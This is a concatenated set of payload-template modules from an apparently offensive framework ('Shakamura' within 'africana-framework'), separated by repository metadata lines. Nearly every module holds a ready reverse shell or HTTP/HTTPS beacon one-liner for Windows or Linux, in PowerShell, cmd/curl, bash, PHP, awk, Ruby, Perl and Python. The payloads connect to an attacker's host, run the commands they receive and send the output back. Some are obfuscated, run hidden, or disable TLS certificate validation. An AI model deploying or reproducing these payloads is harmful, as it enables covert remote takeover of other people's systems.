# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'Windows PowerShell IEX Shakamura - Constraint Language Mode', 'Author' : 'Panagiotis Chartas (r0jahsm0ntar1)', 'Description' : 'An Http based beacon-like reverse shell that utilizes IEX and will work even if Constraint Language Mode is enabled on the victim', 'References' : ['https://github.com/r0jahsm0ntar1/shakamura', 'https://revshells.com'] } meta = { 'handler' : 'shakamura', 'type' : 'ps-iex-cm', 'os' : 'windows', 'shell' : 'powershell.exe' } config = { 'frequency' : 0.8 } parameters = { 'lhost' : None } attrs = { 'obfuscate' : True, 'encode' : True } data = "Start-Process $PSHOME\powershell.exe -ArgumentList {$ConfirmPreference='None';$s='*LHOST*';$i='*SESSIONID*';$p='http://';$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/*VERIFY*/$env:COMPUTERNAME/$env:USERNAME -Headers @{\"*HOAXID*\"=$i};for (;;){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{\"*HOAXID*\"=$i});if ($c -ne 'None') {$r=Invoke-Expression $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$x=Invoke-RestMethod -Uri $p$s/*POSTRES* -Method POST -Headers @{\"*HOAXID*\"=$i} -Body ($e+$r)} sleep *FREQ*}} -WindowStyle Hidden"
1,378
Python
.py
25
48.24
587
0.627786
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,761
powershell_iex_constr_lang_https.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/windows/shakamura/powershell_iex_constr_lang_https.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'Windows PowerShell IEX Shakamura https - Constraint Language Mode', 'Author' : 'Panagiotis Chartas (r0jahsm0ntar1)', 'Description' : 'An Https based beacon-like reverse shell that utilizes IEX and will work even if Constraint Language Mode is enabled on the victim', 'References' : ['https://github.com/r0jahsm0ntar1/shakamura', 'https://revshells.com'] } meta = { 'handler' : 'shakamura', 'type' : 'ps-iex-cm-ssl', 'os' : 'windows', 'shell' : 'powershell.exe' } config = { 'frequency' : 0.8 } parameters = { 'lhost' : None } attrs = { 'obfuscate' : True, 'encode' : True } data = '''Start-Process $PSHOME\powershell.exe -ArgumentList {add-type @" using System.Net;using System.Security.Cryptography.X509Certificates; public class TrustAllCertsPolicy : ICertificatePolicy {public bool CheckValidationResult( ServicePoint srvPoint, X509Certificate certificate,WebRequest request, int certificateProblem) {return true;}} "@ [System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy $ConfirmPreference="None";$s=\'*LHOST*\';$i=\'*SESSIONID*\';$p=\'https://\';$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/*VERIFY*/$env:COMPUTERNAME/$env:USERNAME -Headers @{"*HOAXID*"=$i};for (;;){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i});if ($c -ne \'None\') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$x=Invoke-RestMethod -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i} -Body ($e+$r)} sleep *FREQ*}} -WindowStyle Hidden'''
1,753
Python
.py
31
50.806452
514
0.674052
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,762
cmd_curl.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/windows/shakamura/cmd_curl.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'Windows CMD cURL Shakamura', 'Author' : 'Panagiotis Chartas (r0jahsm0ntar1)', 'Description' : 'An Http based beacon-like reverse shell that utilizes cURL', 'References' : ['https://github.com/r0jahsm0ntar1/shakamura', 'https://revshells.com'] } meta = { 'handler' : 'shakamura', 'type' : 'cmd-curl', 'os' : 'windows', 'shell' : 'cmd.exe' } config = { 'frequency' : 1 } parameters = { 'lhost' : None } attrs = {} data = '@echo off&cmd /V:ON /C "SET ip=*LHOST*&&SET sid="*HOAXID*: *SESSIONID*"&&SET protocol=http://&&curl !protocol!!ip!/*VERIFY*/!COMPUTERNAME!/!USERNAME! -H !sid! > NUL && for /L %i in (0) do (curl -s !protocol!!ip!/*GETCMD* -H !sid! > !temp!cmd.bat & type !temp!cmd.bat | findstr None > NUL & if errorlevel 1 ((!temp!cmd.bat > !tmp!out.txt 2>&1) & curl !protocol!!ip!/*POSTRES* -X POST -H !sid! --data-binary @!temp!out.txt > NUL)) & timeout *FREQ*" > NUL'
1,085
Python
.py
22
42.545455
465
0.585227
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,763
cmd_curl_https.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/windows/shakamura/cmd_curl_https.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'Windows CMD cURL Shakamura https', 'Author' : 'Panagiotis Chartas (r0jahsm0ntar1)', 'Description' : 'An Https based beacon-like reverse shell that utilizes cURL', 'References' : ['https://github.com/r0jahsm0ntar1/shakamura', 'https://revshells.com'] } meta = { 'handler' : 'shakamura', 'type' : 'cmd-curl-ssl', 'os' : 'windows', 'shell' : 'cmd.exe' } config = { 'frequency' : 1 } parameters = { 'lhost' : None } attrs = {} data = '@echo off&cmd /V:ON /C "SET ip=*LHOST*&&SET sid="*HOAXID*: *SESSIONID*"&&SET protocol=https://&&curl -fs -k !protocol!!ip!/*VERIFY*/!COMPUTERNAME!/!USERNAME! -H !sid! > NUL & for /L %i in (0) do (curl -fs -k !protocol!!ip!/*GETCMD* -H !sid! > !temp!cmd.bat & type !temp!cmd.bat | findstr None > NUL & if errorlevel 1 ((!temp!cmd.bat > !tmp!out.txt 2>&1) & curl -fs -k !protocol!!ip!/*POSTRES* -X POST -H !sid! --data-binary @!temp!out.txt > NUL)) & timeout *FREQ*" > NUL'
1,114
Python
.py
22
43.863636
483
0.586175
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,764
powershell_iex_https.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/windows/shakamura/powershell_iex_https.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'Windows PowerShell IEX Shakamura https', 'Author' : 'Panagiotis Chartas (r0jahsm0ntar1)', 'Description' : 'An Https based beacon-like reverse shell that utilizes IEX', 'References' : ['https://github.com/r0jahsm0ntar1/shakamura', 'https://revshells.com'] } meta = { 'handler' : 'shakamura', 'type' : 'ps-iex-ssl', 'os' : 'windows', 'shell' : 'powershell.exe' } config = { 'frequency' : 0.8 } parameters = { 'lhost' : None } attrs = { 'obfuscate' : True, 'encode' : True } data = '''Start-Process $PSHOME\powershell.exe -ArgumentList {add-type @" using System.Net;using System.Security.Cryptography.X509Certificates; public class TrustAllCertsPolicy : ICertificatePolicy {public bool CheckValidationResult( ServicePoint srvPoint, X509Certificate certificate,WebRequest request, int certificateProblem) {return true;}} "@ [System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy $ConfirmPreference="None";$s=\'*LHOST*\';$i=\'*SESSIONID*\';$p=\'https://\';$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/*VERIFY*/$env:COMPUTERNAME/$env:USERNAME -Headers @{"*HOAXID*"=$i};for (;;){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{"*HOAXID*"=$i});if ($c -ne \'None\') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$x=Invoke-RestMethod -Uri $p$s/*POSTRES* -Method POST -Headers @{"*HOAXID*"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join \' \')} sleep *FREQ*}} -WindowStyle Hidden'''
1,702
Python
.py
31
49.16129
565
0.665264
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,765
powershell_iex.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/windows/shakamura/powershell_iex.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'Windows PowerShell IEX Shakamura', 'Author' : 'Panagiotis Chartas (r0jahsm0ntar1)', 'Description' : 'An Http based beacon-like reverse shell that utilizes IEX', 'References' : ['https://github.com/r0jahsm0ntar1/shakamura', 'https://revshells.com'] } meta = { 'handler' : 'shakamura', 'type' : 'ps-iex', 'os' : 'windows', 'shell' : 'powershell.exe' } config = { 'frequency' : 0.8 } parameters = { 'lhost' : None } attrs = { 'obfuscate' : True, 'encode' : True } data = "Start-Process $PSHOME\powershell.exe -ArgumentList {$ConfirmPreference=\"None\";$s='*LHOST*';$i='*SESSIONID*';$p='http://';$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/*VERIFY*/$env:COMPUTERNAME/$env:USERNAME -Headers @{\"*HOAXID*\"=$i};for (;;){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{\"*HOAXID*\"=$i});if ($c -ne 'None') {$r=Invoke-Expression $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$x=Invoke-RestMethod -Uri $p$s/*POSTRES* -Method POST -Headers @{\"*HOAXID*\"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *FREQ*}} -WindowStyle Hidden"
1,327
Python
.py
25
46.2
638
0.614672
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,766
powershell_outfile.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/windows/shakamura/powershell_outfile.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'Windows PowerShell outfile Shakamura', 'Author' : 'Panagiotis Chartas (r0jahsm0ntar1)', 'Description' : 'An Http based beacon-like reverse shell that writes and executes commands from disc', 'References' : ['https://github.com/r0jahsm0ntar1/shakamura', 'https://revshells.com'] } meta = { 'handler' : 'shakamura', 'type' : 'ps-outfile', 'os' : 'windows', 'shell' : 'powershell.exe' } config = { 'frequency' : 0.8, 'outfile' : "C:\\Users\\$env:USERNAME\\.local\\haxor.ps1" } parameters = { 'lhost' : None } attrs = { 'obfuscate' : True, 'encode' : True } data = "Start-Process $PSHOME\powershell.exe -ArgumentList {$ConfirmPreference='None';$s='*LHOST*';$i='*SESSIONID*';$p='http://';$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/*VERIFY*/$env:COMPUTERNAME/$env:USERNAME -Headers @{\"*HOAXID*\"=$i};for (;;){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/*GETCMD* -Headers @{\"*HOAXID*\"=$i});if (!(@('None','quit') -contains $c)) {echo \"$c\" | out-file -filepath *OUTFILE*;$r=powershell -ep bypass *OUTFILE* -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$x=Invoke-RestMethod -Uri $p$s/*POSTRES* -Method POST -Headers @{\"*HOAXID*\"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} elseif ($c -eq 'quit') {del *OUTFILE*;Stop-Process $PID} sleep *FREQ*}} -WindowStyle Hidden"
1,556
Python
.py
26
52.884615
766
0.620486
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,767
powershell_reverse_tcp_v2.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/windows/netcat/powershell_reverse_tcp_v2.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'Windows PowerShell Reverse TCP', 'Author' : 'Unknown', 'Description' : 'Classic PowerShell Reverse TCP', 'References' : ['https://revshells.com'] } meta = { 'handler' : 'netcat', 'type' : 'powershell-reverse-tcp', 'os' : 'windows' } config = {} parameters = { 'lhost' : None } attrs = { 'encode' : True } data = """do { & ([string]::join('', ( (83,116,97,114,116,45,83,108,101,101,112) |ForEach-Object{$_}|%{$_}|%{ ( [char][int] $_)})) |ForEach-Object{$($_)}|%{$($_)}| % {$_}) -Seconds 15 try{ $TCPClient = & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |ForEach-Object{$_}|%{$($_)}|%{ ( [char][int] $($_))})) |ForEach-Object{$($_)}|%{$_}| % {$($_)}) Net.Sockets.TCPClient('*LHOST*', *LPORT*) } catch {} } until ($TCPClient.Connected) $NetworkStream = $TCPClient.GetStream() $StreamWriter = & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |ForEach-Object{$($_)}|%{$_}|%{ ( [char][int] $($_))})) |ForEach-Object{$_}|%{$_}| % {$($_)}) IO.StreamWriter($NetworkStream) function WriteToStream ($String) { [byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize |ForEach-Object{$($_)}|%{$($_)}| % {0} $StreamWriter.Write($String + 'PS ' + (& ([string]::join('', ( (71,101,116,45,76,111,99,97,116,105,111,110) |ForEach-Object{$($_)}|%{$($_)}|%{ ( [char][int] $($_))})) |ForEach-Object{$($_)}|%{$_}| % {$_})).Path + '> ') $StreamWriter.Flush() } WriteToStream '' while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) { $Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1) $Output = try { & ([string]::join('', ( (73,110,118,111,107,101,45,69,120,112,114,101,115,115,105,111,110) |ForEach-Object{$($_)}|%{$_}|%{ ( [char][int] $_)})) |ForEach-Object{$($_)}|%{$_}| % {$($_)}) $Command 2>&1 |ForEach-Object{$($_)}|%{$($_)}| & (("xOFCNl5UbI4P1ZM6daqYfrG2hc-zS0AwBvLEmyHuoe38XjgRiQJ9kW7VntpTKDs")[1,39,57,26,28,57,21,48,56,46] -join '') } catch { $_ |ForEach-Object{$_}|%{$($_)}| & (("xOFCNl5UbI4P1ZM6daqYfrG2hc-zS0AwBvLEmyHuoe38XjgRiQJ9kW7VntpTKDs")[1,39,57,26,28,57,21,48,56,46] -join '') } WriteToStream ($Output) } $StreamWriter.Close()"""
2,395
Python
.py
44
48.636364
354
0.548097
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,768
powershell_reverse_tcp.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/windows/netcat/powershell_reverse_tcp.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'Windows PowerShell Reverse TCP', 'Author' : 'Unknown', 'Description' : 'Classic PowerShell Reverse TCP', 'References' : ['https://revshells.com'] } meta = { 'handler' : 'netcat', 'type' : 'powershell-reverse-tcp', 'os' : 'windows' } config = {} parameters = { 'lhost' : None } attrs = { 'encode' : True } data = """do { & ([string]::join('', ( (83,116,97,114,116,45,83,108,101,101,112) |ForEach-Object{$_}|%{$_}|%{ ( [char][int] $_)})) |ForEach-Object{$($_)}|%{$($_)}| % {$_}) -Seconds 15 try{ $TCPClient = & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |ForEach-Object{$_}|%{$($_)}|%{ ( [char][int] $($_))})) |ForEach-Object{$($_)}|%{$_}| % {$($_)}) Net.Sockets.TCPClient('*LHOST*', *LPORT*) } catch {} } until ($TCPClient.Connected) $NetworkStream = $TCPClient.GetStream() $StreamWriter = & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |ForEach-Object{$($_)}|%{$_}|%{ ( [char][int] $($_))})) |ForEach-Object{$_}|%{$_}| % {$($_)}) IO.StreamWriter($NetworkStream) function WriteToStream ($String) { [byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize |ForEach-Object{$($_)}|%{$($_)}| % {0} $StreamWriter.Write($String + 'PS ' + (& ([string]::join('', ( (71,101,116,45,76,111,99,97,116,105,111,110) |ForEach-Object{$($_)}|%{$($_)}|%{ ( [char][int] $($_))})) |ForEach-Object{$($_)}|%{$_}| % {$_})).Path + '> ') $StreamWriter.Flush() } WriteToStream '' while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) { $Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1) $Output = try { & ([string]::join('', ( (73,110,118,111,107,101,45,69,120,112,114,101,115,115,105,111,110) |ForEach-Object{$($_)}|%{$_}|%{ ( [char][int] $_)})) |ForEach-Object{$($_)}|%{$_}| % {$($_)}) $Command 2>&1 |ForEach-Object{$($_)}|%{$($_)}| & (("xOFCNl5UbI4P1ZM6daqYfrG2hc-zS0AwBvLEmyHuoe38XjgRiQJ9kW7VntpTKDs")[1,39,57,26,28,57,21,48,56,46] -join '') } catch { $_ |ForEach-Object{$_}|%{$($_)}| & (("xOFCNl5UbI4P1ZM6daqYfrG2hc-zS0AwBvLEmyHuoe38XjgRiQJ9kW7VntpTKDs")[1,39,57,26,28,57,21,48,56,46] -join '') } WriteToStream ($Output) } $StreamWriter.Close()"""
2,395
Python
.py
44
48.636364
354
0.548097
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,769
python3_reverse_tcp.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/windows/netcat/python3_reverse_tcp.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'Python3 Reverse TCP', 'Author' : 'Unknown', 'Description' : 'Python3 Reverse TCP', 'References' : ['https://github.com/swisskyrepo/PayloadsAllTheThings'] } meta = { 'handler' : 'netcat', 'type' : 'python3-reverse-tcp', 'os' : 'windows' } config = {} parameters = { 'lhost' : None } attrs = {} data = 'python.exe -c "import socket,os,threading,subprocess as sp;p=sp.Popen([\'powershell.exe\'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect((\'*LHOST*\',*LPORT*));threading.Thread(target=exec,args=(\\"while(True):o=os.read(p.stdout.fileno(),1024);s.send(o)\\",globals()),daemon=True).start();threading.Thread(target=exec,args=(\\"while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i)\\",globals())).start()"'
934
Python
.py
19
42.263158
448
0.620155
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,770
sh_curl.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/linux/shakamura/sh_curl.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'Linux cURL Shakamura', 'Author' : 'Panagiotis Chartas (r0jahsm0ntar1)', 'Description' : 'An Http based beacon-like reverse shell that utilizes cURL', 'References' : ['https://github.com/r0jahsm0ntar1/shakamura', 'https://revshells.com'] } meta = { 'handler' : 'shakamura', 'type' : 'sh-curl', 'os' : 'linux', 'shell' : 'unix' } config = { 'frequency' : 0.8 } parameters = { 'lhost' : None } attrs = {} data = 'nohup bash -c \'s=*LHOST*&&i=*SESSIONID*&&hname=$(hostname)&&p=http://;curl -s "$p$s/*VERIFY*/$hname/$USER" -H "*HOAXID*: $i" -o /dev/null&&while :; do c=$(curl -s "$p$s/*GETCMD*" -H "*HOAXID*: $i")&&if [ "$c" != None ]; then r=$(eval "$c" 2>&1)&&echo $r;if [ $r == byee ]; then pkill -P $$; else curl -s $p$s/*POSTRES* -X POST -H "*HOAXID*: $i" -d "$r";echo $$;fi; fi; sleep *FREQ*; done;\' & disown'
1,023
Python
.py
22
39.727273
413
0.54326
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,771
sh_curl_https.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/linux/shakamura/sh_curl_https.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'Linux cURL Shakamura', 'Author' : 'Panagiotis Chartas (r0jahsm0ntar1)', 'Description' : 'An Http based beacon-like reverse shell that utilizes cURL', 'References' : ['https://github.com/r0jahsm0ntar1/shakamura', 'https://revshells.com'] } meta = { 'handler' : 'shakamura', 'type' : 'sh-curl-ssl', 'os' : 'linux', 'shell' : 'unix' } config = { 'frequency' : 0.8 } parameters = { 'lhost' : None } attrs = {} data = 'nohup `s=*LHOST*&&i=*SESSIONID*&&hname=$(hostname)&&p=https://;curl -s -k "$p$s/*VERIFY*/$hname/$USER" -H "*HOAXID*: $i" -o /dev/null 2>/dev/null;while :; do c=$(curl -s -k "$p$s/*GETCMD*" -H "*HOAXID*: $i" 2>/dev/null);if [ "$c" != None ]; then r=$(eval "$c")&&if [ $r == byee ]; then pkill -P $$; else curl -s -k $p$s/*POSTRES* -X POST -H "*HOAXID*: $i" -d "$r" 2>/dev/null; fi; fi; sleep *FREQ*; done;` &'
1,034
Python
.py
22
40.227273
420
0.546269
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,772
bash_read_line_reverse_tcp.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/linux/netcat/bash_read_line_reverse_tcp.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'Bash read line reverse TCP', 'Author' : 'Unknown', 'Description' : 'Bash read line reverse TCP', 'References' : ['https://revshells.com'] } meta = { 'handler' : 'netcat', 'type' : 'bash-read-line', 'os' : 'linux' } config = {} parameters = { 'lhost' : None } attrs = {} data = "nohup `exec 5<>/dev/tcp/*LHOST*/*LPORT*;cat <&5 | while read line; do $line 2>&5 >&5; done` &"
566
Python
.py
19
23.052632
106
0.527778
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,773
php_popen_reverse_tcp.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/linux/netcat/php_popen_reverse_tcp.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'PHP popen reverse TCP', 'Author' : 'Unknown', 'Description' : 'PHP popen reverse TCP', 'References' : ['https://revshells.com'] } meta = { 'handler' : 'netcat', 'type' : 'php-popen', 'os' : 'linux' } config = {} parameters = { 'lhost' : None } attrs = {} data = "nohup php -r '$sock=fsockopen(\"*LHOST*\",*LPORT*);popen(\"bash <&3 >&3 2>&3\", \"r\");' 3<>/dev/tcp/*LHOST*/*LPORT* > /dev/null 2>&1 & disown"
601
Python
.py
19
24.842105
155
0.513043
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,774
awk_reverse_tcp.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/linux/netcat/awk_reverse_tcp.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'Awk reverse TCP', 'Author' : 'Unknown', 'Description' : 'Awk reverse TCP', 'References' : ['https://revshells.com'] } meta = { 'handler' : 'netcat', 'type' : 'awk-reverse-tcp', 'os' : 'linux' } config = {} parameters = { 'lhost' : None } attrs = {} data = "nohup awk 'BEGIN {s = \"/inet/tcp/0/*LHOST*/*LPORT*\"; while(42) { do{ printf \"shell>\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != \"exit\") close(s); }}' > /dev/null 2>&1 & disown"
687
Python
.py
19
29.368421
247
0.506808
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,775
php_proc_open_reverse_tcp.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/linux/netcat/php_proc_open_reverse_tcp.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'PHP proc_open reverse TCP', 'Author' : 'Unknown', 'Description' : 'PHP proc_open reverse TCP', 'References' : ['https://revshells.com'] } meta = { 'handler' : 'netcat', 'type' : 'php-proc-open', 'os' : 'linux' } config = {} parameters = { 'lhost' : None } attrs = {} data = "nohup php -r '$sock=fsockopen(\"*LHOST*\",*LPORT*);$proc=proc_open(\"bash\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);' > /dev/null 2>&1 & disown"
618
Python
.py
19
25.789474
161
0.530405
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,776
ruby_no_sh_reverse_tcp.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/linux/netcat/ruby_no_sh_reverse_tcp.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'Ruby no sh reverse TCP', 'Author' : 'Unknown', 'Description' : 'Ruby no sh reverse TCP', 'References' : ['https://revshells.com'] } meta = { 'handler' : 'netcat', 'type' : 'ruby-no-sh-reverse-tcp', 'os' : 'linux' } config = {} parameters = { 'lhost' : None } attrs = {} data = "nohup ruby -rsocket -e'exit if fork;c=TCPSocket.new(\"*LHOST*\",\"*LPORT*\");loop{c.gets.chomp!;(exit! if $_==\"exit\");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts \"failed: #{$_}\"}' > /dev/null 2>&1 & disown"
722
Python
.py
19
31.315789
263
0.527299
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,777
php_passthru_reverse_tcp.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/linux/netcat/php_passthru_reverse_tcp.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'PHP passthru reverse TCP', 'Author' : 'Panagiotis Chartas (r0jahsm0ntar1)', 'Description' : 'PHP popen reverse TCP', 'References' : ['https://revshells.com'] } meta = { 'handler' : 'netcat', 'type' : 'php-passthru', 'os' : 'linux' } config = {} parameters = { 'lhost' : None } attrs = {} data = "nohup php -r '$sock=fsockopen(\"*LHOST*\",*LPORT*);passthru(\"bash <&3 >&3 2>&3\");' 3<>/dev/tcp/*LHOST*/*LPORT* > /dev/null 2>&1 & disown"
627
Python
.py
19
26.368421
151
0.542429
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,778
python3_reverse_tcp.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/linux/netcat/python3_reverse_tcp.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'Linux Python3 reverse TCP', 'Author' : 'Unknown', 'Description' : 'Classic Python3 reverse TCP', 'References' : ['https://revshells.com'] } meta = { 'handler' : 'netcat', 'type' : 'python3-reverse-tcp', 'os' : 'linux' } config = {} parameters = { 'lhost' : None } attrs = {} data = "nohup python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"*LHOST*\",*LPORT*));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"bash\")' > /dev/null 2>&1 & disown"
733
Python
.py
19
31.842105
268
0.579915
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,779
python3_reverse_tcp_v2.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/linux/netcat/python3_reverse_tcp_v2.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'Linux Python3 reverse TCP', 'Author' : 'Unknown', 'Description' : 'Classic Python3 reverse TCP', 'References' : ['https://revshells.com'] } meta = { 'handler' : 'netcat', 'type' : 'python3-reverse-tcp', 'os' : 'linux' } config = {} parameters = { 'lhost' : None } attrs = {} data = "export LHOST=\"*LHOST*\"; export LPORT=*LPORT*; nohup python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"LHOST\"),int(os.getenv(\"LPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"bash\")' > /dev/null 2>&1 & disown"
737
Python
.py
19
32
271
0.566807
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,780
ruby_reverse_tcp.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/linux/netcat/ruby_reverse_tcp.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'Ruby reverse TCP', 'Author' : 'Unknown', 'Description' : 'Ruby reverse TCP', 'References' : ['https://revshells.com'] } meta = { 'handler' : 'netcat', 'type' : 'ruby-reverse-tcp', 'os' : 'linux' } config = {} parameters = { 'lhost' : None } attrs = {} data = "nohup ruby -rsocket -e 'spawn(\"bash\",[:in,:out,:err]=>TCPSocket.new(\"*LHOST*\",*LPORT*))' > /dev/null 2>&1 & disown"
578
Python
.py
19
23.421053
131
0.522852
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,781
perl_no_sh_reverse_tcp.py
CHEGEBB_africana-framework/externals/shakamura/Core/payload_templates/linux/netcat/perl_no_sh_reverse_tcp.py
# This module is part of the Shakamura framework class Payload: info = { 'Title' : 'Linux Perl reverse TCP', 'Author' : 'Unknown', 'Description' : 'Classic Perl reverse TCP', 'References' : ['https://revshells.com'] } meta = { 'handler' : 'netcat', 'type' : 'perl-no-sh', 'os' : 'linux' } config = {} parameters = { 'lhost' : None } attrs = {} data = "perl -e 'use Socket;$i=\"*LHOST*\";$p=*LPORT*;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'"
698
Python
.py
19
29.894737
246
0.540419
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,782
shells.py
CHEGEBB_africana-framework/externals/shells/shells.py
